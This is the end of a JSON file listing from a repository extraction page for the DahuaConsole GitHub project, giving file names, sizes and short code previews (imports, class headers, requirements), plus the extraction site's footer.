    "preview": "# Dahua Console\n\n- Version: Pre-alpha\n- Bugs: Indeed\n- TODO: Lots of stuff\n\n[Install requirements]\n```text\nsudo pip3 ins"
  },
  {
    "path": "connection.py",
    "chars": 3548,
    "preview": "from utils import *\nfrom pwdmanager import PwdManager\nfrom dahua import DahuaFunctions\n\n\nclass DahuaConnect(object):\n   "
  },
  {
    "path": "dahua.py",
    "chars": 101150,
    "preview": "import copy\n\nfrom Crypto.PublicKey import RSA\nfrom OpenSSL import crypto\nfrom pathlib import Path\n\n\"\"\" Local imports \"\"\""
  },
  {
    "path": "dahua_logon_modes.py",
    "chars": 28284,
    "preview": "from utils import *\nfrom datetime import datetime\n\n\"\"\" For Dahua DES/3DES \"\"\"\nENCRYPT = 0x00\nDECRYPT = 0x01\n\n\ndef dahua_"
  },
  {
    "path": "events.py",
    "chars": 11141,
    "preview": "import _thread\nfrom utils import *\nfrom connection import DahuaConnect\n\n\nclass DahuaEvents(DahuaConnect):\n    def __init"
  },
  {
    "path": "eventviewer.py",
    "chars": 862,
    "preview": "#!/usr/bin/env python3\nfrom utils import *\n\n\ndef main():\n\t\"\"\" Simple Event Viewer \"\"\"\n\tevents = None\n\ttry:\n\t\tevents = re"
  },
  {
    "path": "net.py",
    "chars": 87709,
    "preview": "import ast\nimport ndjson\nimport copy\nimport inspect\nimport _thread\n\nfrom utils import *\nfrom pwdmanager import PwdManage"
  },
  {
    "path": "pwdmanager.py",
    "chars": 7401,
    "preview": "from utils import *\nfrom dahua_logon_modes import dahua_logon, dahua_gen1_hash, dahua_gen2_md5_hash, dahua_onvif_sha1_ha"
  },
  {
    "path": "relay.py",
    "chars": 9291,
    "preview": "import requests\nfrom requests import packages\nfrom requests.packages import urllib3\nfrom requests.packages.urllib3 impor"
  },
  {
    "path": "requirements.txt",
    "chars": 107,
    "preview": "pwntools>=4.3.1\nndjson>=0.3.1\npycryptodome>=3.9.7\ntzlocal>=2.1\npyOpenSSL>=19.1.0\nrequests>=2.20.0\npwn~=1.0\n"
  },
  {
    "path": "servers.py",
    "chars": 5571,
    "preview": "import select\nimport queue\nimport _thread\nfrom utils import *\nfrom events import DahuaEvents\n\n\nclass Servers(DahuaEvents"
  },
  {
    "path": "utils.py",
    "chars": 4419,
    "preview": "import json\nfrom json.decoder import JSONDecodeError\nfrom pwn import *\n\"\"\"Just to keep out error warnings in PyCharm\"\"\"\n"
  }
]

About this extraction

This page contains the full source code of the mcw0/DahuaConsole GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (289.5 KB), approximately 65.3k tokens, and a symbol index with 150 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!